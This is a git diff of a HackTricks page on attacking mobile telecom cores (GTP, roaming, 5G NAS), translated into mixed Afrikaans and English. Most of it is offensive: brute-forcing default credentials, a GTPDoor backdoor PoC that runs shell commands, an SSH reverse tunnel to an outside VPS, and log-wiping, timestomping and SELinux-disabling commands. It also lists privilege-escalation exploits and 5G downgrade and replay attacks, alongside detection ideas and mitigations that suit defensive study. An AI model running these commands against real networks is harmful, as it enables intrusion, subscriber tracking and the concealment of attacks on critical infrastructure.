Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw

This commit is contained in:
Translator 2025-09-07 20:10:53 +00:00
parent 44c23d67b4
commit eb33c8cc69

View File

@ -1,27 +1,27 @@
# Telekom Netwerk Exploitatie (GTP / Roaming Omgewings)
# Telecom Network Exploitation (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Mobiele-kern protokolle (GPRS Tunneling Protocol GTP) beweeg dikwels oor semi-vertroude GRX/IPX roaming rugsteun. Omdat hulle op gewone UDP loop met byna geen verifikasie nie, **kan enige voetstuk binne 'n telekomperimeter gewoonlik direk toegang tot kern seinvlakke verkry**. Die volgende notas versamel offensiewe truuks wat in die natuur teen SGSN/GGSN, PGW/SGW en ander EPC nodes waargeneem is.
> Mobile-core protocols (GPRS Tunnelling Protocol GTP) dikwels traverse semi-trusted GRX/IPX roaming backbones. Omdat hulle op plain UDP loop met byna geen authentication nie, **enige foothold binne 'n telecom perimeter kan gewoonlik direk die core signalling planes bereik**. Die volgende notas versamel offensiewe truuks wat in die veld teen SGSN/GGSN, PGW/SGW en ander EPC-node waargeneem is.
## 1. Recon & Begin Toegang
## 1. Recon & Initial Access
### 1.1 Standaard OSS / NE Rekeninge
'n Verrassend groot stel verskaffer netwerk elemente word met hard-gecodeerde SSH/Telnet gebruikers soos `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … verskaf. 'n Toegewyde woordlys verhoog die sukses van brute-force aanslae dramaties:
'n Verstommend groot stel vendor netwerkelemente word uitgereik met hard-gekodeerde SSH/Telnet gebruikers soos `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … 'n Gespesialiseerde wordlist verhoog brute-force sukses dramaties:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
As die toestel slegs 'n bestuurs-VRF blootstel, draai eers deur 'n springgas (jump host) (sien afdeling «SGSN Emu Tunnel» hieronder).
As die toestel slegs 'n management VRF blootstel, pivot eers deur 'n jump host (sien afdeling «SGSN Emu Tunnel» hieronder).
### 1.2 Gasheer Ontdekking binne GRX/IPX
Meeste GRX-operateurs laat steeds **ICMP echo** oor die rugsteun toe. Kombineer `masscan` met die ingeboude `gtpv1` UDP-probes om vinnig GTP-C luisteraars te karteer:
### 1.2 Host-ontdekking binne GRX/IPX
Die meeste GRX-operateurs laat steeds **ICMP echo** oor die backbone toe. Kombineer `masscan` met die ingeboude `gtpv1` UDP-probes om vinnig GTP-C listeners te karteer:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Opname van Subscribers `cordscan`
## 2. Opsporing van intekenare `cordscan`
Die volgende Go-instrument vervaardig **GTP-C Create PDP Context Request** pakkette en log die antwoorde. Elke antwoord onthul die huidige **SGSN / MME** wat die gevraagde IMSI bedien en, soms, die subscriber se besoekte PLMN.
Die volgende Go-tool skep **GTP-C Create PDP Context Request** pakkette en registreer die antwoorde. Elke antwoord openbaar die huidige **SGSN / MME** wat die bevraagde IMSI bedien en, soms, die intekenaar se besoekte PLMN.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -29,22 +29,22 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Belangrike vlae:
- `--imsi` Teiken abonnee IMSI
Sleutelvlae:
- `--imsi` Teikenabonnee IMSI
- `--oper` Tuis / HNI (MCC+MNC)
- `-w` Skryf rou pakkette na pcap
Belangrike konstantes binne die binêre kan gepatch word om skande te verbreed:
Belangrike konstantes binne die binary kan gepatched word om skanderings te verbreed:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Kode-uitvoering oor GTP `GTPDoor`
## 3. Kodeuitvoering oor GTP `GTPDoor`
`GTPDoor` is 'n klein ELF-diens wat **UDP 2123 bind en elke inkomende GTP-C-pakket ontleed**. Wanneer die payload met 'n vooraf gedeelde etiket begin, word die oorblywende gedeeltes ontsleutel (AES-128-CBC) en uitgevoer via `/bin/sh -c`. Die stdout/stderr word binne **Echo Response** boodskappe uitgevoer sodat daar nooit 'n uitgaande sessie geskep word nie.
`GTPDoor` is 'n klein ELFdiens wat **UDP 2123 bind en elke inkomende GTPCpakket ontleed**. Wanneer die payload begin met 'n vooraf gedeelde tag, word die res gedekripteer (AES-128-CBC) en uitgevoer via `/bin/sh -c`. Die stdout/stderr word exfiltrated binne **Echo Response** messages sodat geen uitgaande sessie ooit geskep word nie.
Minimale PoC-pakket (Python):
Minimale PoCpakket (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
@ -52,40 +52,40 @@ cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Detection:
* enige gasheer wat **ongebalanseerde Echo Versoeke** na SGSN IP's stuur
* GTP weergawe vlag op 1 gestel terwyl boodskap tipe = 1 (Echo) afwyking van spesifikasie
Opsporing:
* enige host wat **unbalanced Echo Requests** na SGSN IPs stuur
* GTP version flag op 1 gestel terwyl message type = 1 (Echo) afwyking van die spesifikasie
## 4. Pivoting Deur die Kern
## 4. Pivoting Deur die Core
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` verskaf 'n SGSN-emulator wat in staat is om **'n PDP-konteks na 'n werklike GGSN/PGW te vestig**. Sodra dit onderhandel is, ontvang Linux 'n nuwe `tun0` koppelvlak wat bereikbaar is vanaf die roaming-peer.
`OsmoGGSN` lewer 'n SGSN emulator wat in staat is om **establish a PDP context towards a real GGSN/PGW**. Sodra dit onderhandel is, ontvang Linux 'n nuwe `tun0` interface wat vanaf die roaming peer bereikbaar is.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Met behoorlike firewall hair-pinning, omseil hierdie tonnel slegs signalering VLANs en land jy direk in die **data plane**.
Met behoorlike firewall hair-pinning omseil hierdie tonnel signalling-only VLANs en beland jy direk in die **datavlak**.
### 4.2 SSH Terugtonnel oor Poort 53
DNS is byna altyd oop in roaming infrastruktuur. Stel 'n interne SSH-diens bloot aan jou VPS wat luister op :53 en keer later terug van huis:
### 4.2 SSH Reverse Tunnel over Port 53
DNS is byna altyd oop in roaming-infrastrukture. Maak 'n interne SSH-diens op jou VPS beskikbaar wat na :53 luister en keer later van die huis af terug:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Kontroleer dat `GatewayPorts yes` op die VPS geaktiveer is.
Kontroleer dat `GatewayPorts yes` geaktiveer is op die VPS.
## 5. Verborgen Kanale
## 5. Covert Channels
| Kanaal | Vervoer | Dekodering | Aantekeninge |
|--------|---------|------------|--------------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte sleutel + 14-byte stukke (XOR) | suiwer passiewe luisteraar, geen uitgaande verkeer |
| DNS `NoDepDNS` | UDP 53 | XOR (sleutel = `funnyAndHappy`) gekodeer in A-record oktette | kyk vir `*.nodep` sub-domein |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | meng met wettige GTP-C geselskap |
| Kanaal | Transport | Dekoding | Aantekeninge |
|--------|-----------|----------|-------------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | puur passiewe luisteraar, geen uitgaande verkeer |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) geënkodeer in A-record octets | kyk uit vir `*.nodep` sub-domein |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | meng met legitieme GTP-C verkeer |
Alle implante implementeer wagte wat **timestomp** hul binaire en herlaai as dit gebroke is.
All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed.
## 6. Verdediging Ontduiking Cheatsheet
## 6. Defense Evasion Cheatsheet
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Bevoegdheidstoename op Erfenis NE
## 7. Privilege Escalation op Legacy NE
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
@ -111,30 +111,137 @@ python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py
```
Skoonmaakwenk:
Skoonmaak wenk:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Gereedskapkas
## 8. Gereedskap
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` pasgemaakte gereedskap beskryf in vorige afdelings.
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` custom tooling described in previous sections.
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : liggewig SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversie / bates bridging
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. 5G NAS-registrasie-aanvalle: SUCI-lekke, afgradeer na EEA0/EIA0, en NAS-herspel
Die 5G-registrasieprosedure loop oor NAS (Non-Access Stratum) bo-op NGAP. Tot NAS-sekuriteit geaktiveer word deur Security Mode Command/Complete, is aanvanklike boodskappe nie geverifieer of enkripteer nie. Hierdie pre-sekuriteitsvenster maak verskeie aanvalspaaie moontlik wanneer jy N2-verkeer kan waarneem of manipuleer (bv. on-path binne die core, rogue gNB, of testbed).
Registrasiestroom (vereenvoudig):
- Registration Request: UE stuur SUCI (geënkripteerde SUPI) en vermoëns.
- Authentication: AMF/AUSF stuur RAND/AUTN; UE stuur terug RES*.
- Security Mode Command/Complete: NAS-integriteit en kodering word onderhandel en geaktiveer.
- PDU Session Establishment: IP/QoS opstelling.
Lab opstelling wenke (non-RF):
- Core: Open5GS se standaard-implementering is voldoende om vloei te reproduseer.
- UE: simulator of toets-UE; dekodeer met Wireshark.
- Aktiewe gereedskap: 5GReplay (vang/wysig/herspeel NAS binne NGAP), Sni5Gect (snuffel/pleister/inspuit NAS op die vlug sonder om 'n volledige rogue gNB op te stel).
- Nuttige vertoonfilters in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Identiteitsprivaatheid: SUCI-foute wat SUPI/IMSI blootstel
Verwag: UE/USIM moet SUCI stuur (SUPI geënkripteer met die tuisnetwerk se publieke sleutel). Om 'n platte teks SUPI/IMSI in die Registration Request te vind dui 'n privaatheidsfout aan wat volgehoue abonnnee-opsporing moontlik maak.
Hoe om te toets:
- Vang die eerste NAS-berig in InitialUEMessage en ondersoek die Mobile Identity IE.
- Wireshark vinnige kontroles:
- Dit moet as SUCI dekodeer, nie IMSI nie.
- Filtervoorbeelde: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` should exist; absence plus presence of `imsi` indicates leakage.
Wat om te versamel:
- MCC/MNC/MSIN indien blootgestel; log per-UE en volg oor tyd/liggings.
Mitigasie:
- Handhaaf SUCI-only UE/USIMs; waarsku by enige IMSI/SUPI in die aanvanklike NAS.
### 9.2 Vermoë-afgradeer na nul-algoritmes (EEA0/EIA0)
Agtergrond:
- UE adverteer ondersteunde EEA (enkripsie) en EIA (integriteit) in die UE Security Capability IE van die Registration Request.
- Algemene toewysings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 is nul-algoritmes.
Probleem:
- Omdat die Registration Request nie integriteitbeskerm is nie, kan 'n on-path aanvaller vermoë-bits uitvee om die keuse van EEA0/EIA0 later tydens Security Mode Command af te dwing. Sommige stacks laat verkeerdelik nul-algoritmes toe buite nooddienste.
Aanvalsritte:
- Onderbreek InitialUEMessage en wysig die NAS UE Security Capability om slegs EEA0/EIA0 te adverteer.
- Met Sni5Gect, haak die NAS-berig en pleister die vermoë-bits voordat dit deurgestuur word.
- Waarnem of AMF nul-sifrering/integriteit aanvaar en Security Mode met EEA0/EIA0 voltooi.
Verifikasie/sigbaarheid:
- In Wireshark, bevestig die gekose algoritmes na Security Mode Command/Complete.
- Voorbeeld van passiewe sniffer-uitset:
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
Mitigasies (moet):
- Konfigureer AMF/policy om EEA0/EIA0 te weier, behalwe waar dit streng verpligtend is (bv., noodoprope).
- Verkies om EEA2/EIA2 ten minste af te dwing; registreer en waarsku oor enige NAS security context wat null-algoritmes onderhandel.
### 9.3 Replay of initial Registration Request (pre-security NAS)
Omdat die aanvanklike NAS nie integriteit en nuutheid het nie, kan vasgevang InitialUEMessage+Registration Request na die AMF herspeel word.
PoC rule for 5GReplay to forward matching replays:
```xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
```
Wat om waar te neem:
- Of AMF die replay aanvaar en voortgaan na verifikasie; gebrek aan vernuwing-/konteksvalidasie dui op blootstelling.
Mitigerings:
- Dwing herhalingsbeskerming/konteksbinding by AMF af; pas rate-limit toe en korreleer per-GNB/UE.
### 9.4 Tooling pointers (reproducible)
- Open5GS: spin up an AMF/SMF/UPF om die core te emuleer; observe N2 (NGAP) en NAS.
- Wireshark: verifieer dekodes van NGAP/NAS; pas die filtere hierbo toe om Registration te isoleer.
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
- Sni5Gect: live sniff/modify/inject die NAS control-plane om null algorithms af te dwing of authentication-sekwense te versteur.
### 9.5 Verdedigende kontrolelys
- Continuously inspect Registration Request for plaintext SUPI/IMSI; blokkeer oortredende toestelle/USIMs.
- Reject EEA0/EIA0 behalwe vir nou omskrewe noodprosedures; vereis minstens EEA2/EIA2.
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
---
## Opsporingsidees
1. **Enige toestel anders as 'n SGSN/GGSN wat Create PDP Context Requests opstel**.
2. **Nie-standaard poorte (53, 80, 443) wat SSH handdrukke ontvang** van interne IP's.
3. **Frekwente Echo Versoeke sonder ooreenstemmende Echo Antwoorde** kan GTPDoor bakens aandui.
4. **Hoë tempo van ICMP echo-antwoorde verkeer met groot, nie-nul identifiseerder/volgorde velde**.
1. **Enige toestel anders as 'n SGSN/GGSN wat Create PDP Context Requests tot stand bring**.
2. **Nie-standaard poorte (53, 80, 443) wat SSH handshakes ontvang** van interne IPs.
3. **Gereelde Echo Requests sonder ooreenstemmende Echo Responses** kan op GTPDoor beacons dui.
4. **Hoë tempo van ICMP echo-reply verkeer met groot, nie-nul identifier/sequence velde**.
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** buite noodkontekste.
## Verwysings
## References
- [Palo Alto Unit42 Infiltratie van Globale Telekomnetwerke](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 Security architecture and procedures for 5G System
{{#include ../../banners/hacktricks-training.md}}